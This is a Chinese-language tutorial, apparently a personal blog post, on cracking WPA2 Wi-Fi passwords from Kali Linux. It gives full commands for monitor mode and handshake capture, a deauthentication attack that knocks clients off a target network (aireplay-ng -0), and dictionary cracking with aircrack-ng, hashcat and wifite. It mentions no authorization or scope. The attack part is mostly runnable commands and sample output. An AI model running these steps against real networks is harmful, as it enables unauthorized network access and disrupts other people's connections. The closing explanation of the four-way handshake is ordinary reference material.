Wi-Fi 安全测试

2025-09-24

aircrack-ng

使用 kali-linux 内置的 aircrack-ng 工具可进行 Wi-Fi 的抓包与分析。一般按照以下流程进行

  • 监听模式(monitor mode): 监听数据包情况

  • 抓取握手包(airodump-ng): 采集 Wi-Fi 握手包,从而获取握手信息

  • 主动攻击触发重连(deauth): 主动使目标 Wi-Fi 的客户端重连,以采集握手包

  • 跑密码本(aircrack-ng): 通过握手包信息跑密码本

其中,其他操作系统使用 aircrack 的 Monitor Mode,通常只是“半监听 / 扫描模式”,并不稳定。使用 kali-linux 环境更加合适

流程

查看网卡

先使用超级管理员用户 sudo su 或者直接使用 root terminal 查看无线网卡信息,可通过以下两种方式

  • 无线配置信息查看网卡
    iwconfig
    
  • 通过 usb 信息查看网卡
    # ls 查看 usb 信息
    lsusb
    

监听

  • 查询可监听的无线网卡的 Interface 信息
    airmon-ng
    # 输出可监听的信息
    # PHY   Interface  Driver Chipset
    # phy0  wlan0      驱动    芯片组
    
  • 开启监听
    # 上一步获取的 Interface
    airmon-ng start wlan0
    
  • 查看是否监听成功
    ifconfig
    # 此时列表内应该出现名称类似 wlanXmon 的内容
    
  • 网络扫描
    # 上一步获取的名称,此处以 wlan0mon 为例
    airodump-ng wlan0mon
    # 输出扫描信息
    # BSSID           PWR       Beacons    #Data,    #/s         CH   MB    ENC          CIPHER   AUTH     ESSID
    # AP的MAC    信号强度    数据包交换情况    数据包数量  每秒数据包数  频道  速度  无线安全技术   加密方式  认证协议   无线名
    # ENC WPA2 指定的加密方式是 CCMP
    

抓取握手包

等待握手包出现

采集握手包的命令

# 扫描时获取的 频道             mac地址       握手包存储路径(文件夹或文件名)   无线网卡名称
airodump-ng -c 1 --bssid xx:xx:xx:xx:xx:xx    -w .                      wlan0mon

输出内容示例如下

# 扫描信息 : 信道  持续时间    当前时间              是否采集到握手包(没采集到握手包时没有该项)
 CH xx ][ Elapsed: x min ][ 2026-01-01 12:00 ][ WPA handshake: xx:xx:xx:xx:xx:xx
# AP信息
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID
xx:xx:xx:xx:xx:xx  -xx
# AP的客户端信息:    用户mac            信号   速率
BSSID              STATION            PWR   Rate    Lost    Frames  Nites  Probes
xx:xx:xx:xx:xx:xx  xx:xx:xx:xx:xx:xx  -xx    1e-xx      x        x

采集到握手包即可停止。会在文件夹内生成 cap 文件

主动创造握手包

在新终端中使已连接 AP 的客户端断开

# 指定客户端断连
#         发送断开请求   发送次数,0表示持续     ap 的 mac             客户端的 mac              无线网卡名称
aireplay-ng       -0                  0   -a  xx:xx:xx:xx:xx:xx  -c  xx:xx:xx:xx:xx:xx    wlan0mon

# 全部客户端断连
aireplay-ng -0 0 -a xx:xx:xx:xx:xx:xx wlan0mon -D

同样等待采集终端出现 [ WPA handshake: xx:xx:xx:xx:xx:xx ,停止采集,会在文件夹内生成 cap 文件

跑密码本

aircrack

#  握手包类型:a2指 WPA   ap mac                 密码本路径     上一步生成的cap文件
aircrack-ng -a2      -b xx:xx:xx:xx:xx:xx   -w ./book.txt   ./xx.cap

# 简写
aircrack-ng  -w ./book.txt   ./xx.cap

hashcat

由于 aircrack-ng 是 CPU 取向工具,速度很慢。可使用 hashcatopen in new window,利用 GPU 进行计算,增加计算速度

  • 使用 hcxtools 工具,把 cap 转成 hashcat 格式
    sudo apt update  # 更新索引
    sudo apt install hcxtools  # 安装转换工具
    hcxpcapngtool handshake.cap -o wifi.hc22000  # 转换
    
  • 在显卡所在主系统内(避免虚拟机性能开销),运行
    hashcat -m 22000 wifi.hc22000 wordlist.txt 
    # 输入以下内容时,说明 Hashcat 为了兼容性(或者因为没加参数),使用了“纯净版”内核,没有使用针对 NVIDIA 架构深度优化的汇编指令。这会限制显卡的发挥。
    # ATTENTION! Pure (unoptimized) backend kernels selected.
    # 可添加 `-O` 参数优化内核,进行提速
    # 设置了工作负载(Workload Profile),也可提供显卡利用率,从而进行提速
    #  `-w 3` (High) 或 `-w 4` (Nightmare)
    

Tips: hashcat 需要使用cuda,请 下载open in new window 合适版本的cuda进行安装。比如 9系显卡架构较旧,适合 10.2 版本的cuda。如果安装错误版本,可通过 geek 等软件进行卸载

关闭监听状态

  • 关闭监听
    airmon-ng stop wlan0mon
    
  • 检查是否关闭成功
    ifconfig
    # 此时列表中的 wlanXmon 应该变回 wlanX
    

Wifite

基于 aircrack-ng 的使用流程步骤,wifite 对其进行了封装,使其更加易用。以下是 wifite 的使用流程

  • 进入扫描模式。此时会扫描出现的 Wi-Fi,并对其进行编号。按 ctrl + c 停止扫描,进入等待
    sudo su
    wifite
    
  • 明确目标。在上一步中会等待输入编号,输入后会自动进行握手包采集、跑密码本等步骤

Wi-Fi 握手包

Wi-Fi 握手包基于 eapol 协议(局域网扩展协议),共进行 4 步

  • AP 向外释放 ANonce 信号
  • STA(客户端)收到信号,生成 PTK。并回传随机数 SNonce 与 PTK 中的 MIC
  • AP 收到 SNonce 后,生成 PTK,将收到的 MIC 与生成的 PTK 中的 MIC 校验
  • 校验成功,AP 使用 PTK 加密 GTK ,传给 STA(客户端)
  • STA(客户端)通过 PTK 解密 GTK,并验证加密使用的 MIC。验证成功后发送ACK

可通过 Wireshark 打开 cap 文件,搜索 eapol 进行过滤

  • 指明加密方式 AES,WPA Key Nonce 64位 hash 值,Key IV 全0
  • 新的 WPA Key Nonce 64位 hash 值,WPA Key MIC
  • WPA Key Nonce 64位 hash 值,新的 WPA Key MIC,WPA Key Data(密钥数据)
  • 只包含新的 MIC 值